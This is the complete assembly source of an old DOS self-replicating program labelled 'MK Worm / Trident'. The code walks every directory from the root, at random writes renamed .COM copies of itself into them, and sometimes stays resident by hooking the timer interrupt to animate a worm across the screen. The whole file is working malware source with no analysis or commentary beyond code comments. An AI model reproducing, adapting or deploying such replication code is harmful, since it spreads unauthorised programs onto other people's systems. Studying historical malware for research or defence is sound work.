;**********************************************************************
;*
;*  MK Worm
;*
;*  Compile with MASM 4.0
;*
;**********************************************************************

cseg            segment
                assume  cs:cseg,ds:cseg,es:cseg
                .radix  16
                org     0100


wormlen         equ     8
filelen         equ     eind - begin
old_dir         equ     eind
DTA             equ     offset eind + 100d


;**********************************************************************
;*              Main program
;**********************************************************************

begin:          call    rnd_init

                mov     bp,DTA                  ;change DTA
                call    set_DTA

                mov     ah,47                   ;get name of current directory
                cwd
                mov     si,offset old_dir
                int     21

                mov     dx,offset root_dir      ;goto root
                call    chdir

                call    search                  ;search directory's

                mov     dx,offset old_dir       ;goto original directory
                call    chdir

                call    rnd_get                 ;go resident?
                and     al,0F
                jz      go_res

                int     20

go_res:         mov     ax,351C                 ;go resident!
                int     21
                lea     si,oldvec
                mov     [si],bx
                mov     [si+2],es
                lea     dx,routine
                mov     ax,251C
                int     21
                mov     dx,offset eind
                int     27


;**********************************************************************
;*              search dir
;**********************************************************************

search:         mov     dx,offset dirname       ;search *.*
                mov     cx,16
                mov     ah,4E
finddir:        int     21
                jc      no_dir

                test    byte ptr [bp+15],10     ;directory?
                je      next_dir
                cmp     byte ptr [bp+1E],'.'    ;is it '.' or '..' ?
                je      next_dir

                lea     dx,[bp+1E]              ;goto directory
                call    chdir
                lea     bp,[bp+2C]              ;change DTA
                call    set_DTA

                call    search                  ;searc directory (recurse!)

                lea     bp,[bp-2C]              ;goto previous DAT
                call    set_DTA
                mov     dx,offset back_dir      ;'CD ..'
                call    chdir

next_dir:       mov     ah,4F                   ;find next
                jmp     short finddir

no_dir:         call    rnd_get                 ;copy worm to this directory?
                and     al,3
                jnz     no_worm

                mov     dx,offset comname       ;search *.com
                mov     ah,4E
                mov     cx,06
findcom:        int     21
                jc      makeit
                
                mov     ax,word ptr [bp-1A]     ;worm already there?
                sub     ax,filelen
                cmp     ax,10
                jnb     no_worm

                mov     ah,4F
                jmp     short findcom


makeit:         call    makeworm                ;copy the worm!

no_worm:        ret


;**********************************************************************
;*              change dir
;**********************************************************************

chdir:          mov     ah,3Bh
                int     21
                ret


;**********************************************************************
;*              set DTA
;**********************************************************************

set_DTA:        mov     dx,bp
                mov     ah,1A
                int     21
                ret


;**********************************************************************
;*              create worm
;**********************************************************************

makeworm:       mov     ah,5A                   ;create unique filename
                xor     cx,cx
                mov     dx,offset filename
                mov     si,offset restname
                mov     byte ptr [si],0
                int     21
                xchg    ax,bx

                mov     ah,40                   ;write worm
                mov     cx,filelen
                mov     dx,0100
                int     21

                call    rnd_get                 ;append a few bytes
                and     ax,0F
                xchg    ax,cx
                mov     dx,0100
                mov     ah,40
                int     21
                
                mov     ah,3E                   ;close file
                int     21

                lea     di,[si+13d]             ;copy filename
                push    di
                push    si
                movsw
                movsw
                movsw
                movsw
                mov     si,offset comname+1
                movsw
                movsw
                movsb

                pop     dx                      ;rename file to .COM
                pop     di
                mov     ah,56
                int     21

                ret


;**********************************************************************
;*              new int 1C handler
;**********************************************************************

routine:        cli                             ;save registers
                push    ds
                push    es
                push    ax
                push    bx
                push    cx
                push    dx
                push    si
                push    di

                push    cs
                push    cs
                pop     ds
                pop     es

zzz3:           inc     byte ptr [count]
                mov     al,byte ptr [count]
                test    al,1                    ;only every 2nd tick
                jz      nothing
                cmp     al,3                    ;don't change direction yet
                jb      zzz2
                call    rnd_get
                and     al,3                    ;change direction?
                jnz     zzz2

zzz0:           call    dirchange               ;change direction!
                mov     al,byte ptr [direction]
                xor     al,byte ptr [old_direc]
                and     al,1
                jz      zzz0                    ;90 degrees with old direction?

zzz2:           call    getnext                 ;calculate next position
                call    checknext               ;does it hit the border?
                jc      zzz0

                mov     al,byte ptr [direction] ;save old direction
                mov     byte ptr [old_direc],al
                call    moveworm

                mov     ah,0F                   ;ask video mode
                int     10
                cmp     al,7
                jz      goodmode
                cmp     al,4
                jnb     nothing
                cmp     al,2
                jb      nothing
       
goodmode:       mov     ah,3                    ;read cursor position
                int     10
                push    dx

                call    printworm

                pop     dx                      ;restore cursor position
                mov     ah,2
                int     10

nothing:        pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                pop     es
                pop     ds
                sti

                jmp     cs:[oldvec]             ;original vector

oldvec          dd      0
                

;**********************************************************************
;*              changes direction of worm
;**********************************************************************

dirchange:      call    rnd_get                 ;get random numbar
                and     al,2
                mov     ah,byte ptr [direction] ;change direction 90 degrees
                xor     ah,0FF
                and     ah,1
                or      ah,al
                mov     byte ptr [direction],ah
                mov     byte ptr [count],0
                ret


;**********************************************************************
;*              finds next position of the worm
;**********************************************************************

getnext:        mov     al,byte ptr [yval+wormlen]
                mov     byte ptr [yval+wormlen+1],al
                mov     al,byte ptr [xval+wormlen]
                mov     byte ptr [xval+wormlen+1],al

                mov     ah,byte ptr [direction]
                cmp     ah,3
                je      is_3
                cmp     ah,2
                je      is_2
                cmp     ah,1
                je      is_1

is_0:           mov     al,byte ptr [yval+wormlen]      ;up
                dec     al
                mov     byte ptr [yval+wormlen+1],al
                ret

is_1:           mov     al,byte ptr [xval+wormlen]      ;left
                dec     al
                dec     al
                mov     byte ptr [xval+wormlen+1],al
                ret

is_2:           mov     al,byte ptr [yval+wormlen]      ;down
                inc     al
                mov     byte ptr [yval+wormlen+1],al
                ret

is_3:           mov     al,byte ptr [xval+wormlen]      ;right
                inc     al
                inc     al
                mov     byte ptr [xval+wormlen+1],al
                ret


;**********************************************************************
;*              checks if worm will hit borders
;**********************************************************************

checknext:      mov     al,byte ptr [xval+wormlen+1]
                cmp     al,0
                jl      fout
                cmp     al,80d
                jae     fout

                mov     al,byte ptr [yval+wormlen+1]
                cmp     al,0
                jl      fout
                cmp     al,25d
                jae     fout

                clc
                ret
fout:           stc
                ret


;**********************************************************************
;*              move the worm
;**********************************************************************

moveworm:       mov     si,offset xval+1
                lea     di,[si-1]
                mov     cx,wormlen+1
        rep     movsb
                mov     si,offset yval+1
                lea     di,[si-1]
                mov     cx,wormlen+1
        rep     movsb
                ret


;**********************************************************************
;*              print the worm on screen
;**********************************************************************

printworm:      mov     si,offset xval
                call    move
                mov     al,20                   ;print space on rear end
                call    print
                mov     cx,wormlen-1
lup:            call    move
                mov     al,0F                   ;print dots
                call    print
                loop    lup
                call    move
                mov     al,2                    ;print head of worm
                call    print
                ret


;**********************************************************************
;*              move the cursor
;**********************************************************************

move:           mov     ah,[si+wormlen+2]
                lodsb
                xchg    ax,dx
                mov     ah,02
                int     10
                ret


;**********************************************************************
;*              print a character
;**********************************************************************

print:          push    cx
                mov     ah,09
                mov     bl,0C
                mov     cx,1
                int     10
                pop     cx
                ret


;****************************************************************************
;*              random number generator
;****************************************************************************

rnd_init:       push    cx
                call    rnd_init0
                and     ax,000F
                inc     ax
                xchg    ax,cx
random_lup:     call    rnd_get
                loop    random_lup
                pop     cx
                ret

rnd_init0:      push    dx                      ;initialize generator
                push    cx
                mov     ah,2C
                int     21
                in      al,40
                mov     ah,al
                in      al,40
                xor     ax,cx
                xor     dx,ax
                jmp     short move_rnd

rnd_get:        push    dx                      ;calculate a random number
                push    cx
                push    bx
                mov     ax,0
                mov     dx,0
                mov     cx,7
rnd_lup:        shl     ax,1
                rcl     dx,1
                mov     bl,al
                xor     bl,dh
                jns     rnd_l2
                inc     al
rnd_l2:         loop    rnd_lup
                pop     bx

move_rnd:       mov     word ptr cs:[rnd_get+4],ax
                mov     word ptr cs:[rnd_get+7],dx
                mov     al,dl
                pop     cx
                pop     dx
                ret


;**********************************************************************
;*              data
;**********************************************************************

                db      ' MK Worm / Trident '
root_dir        db      '\',0
back_dir        db      '..',0
dirname         db      '*.*',0

comname         db      '*.COM',0
filename        db      '.\'
restname        db      (26d) dup (?)

xval            db      32d, 34d, 36d, 38d, 40d, 42d, 44d, 46d, 48d, 0
yval            db      (wormlen+2) dup (12d)

direction       db      3
old_direc       db      3
count           db      0

eind:

cseg            ends
                end     begin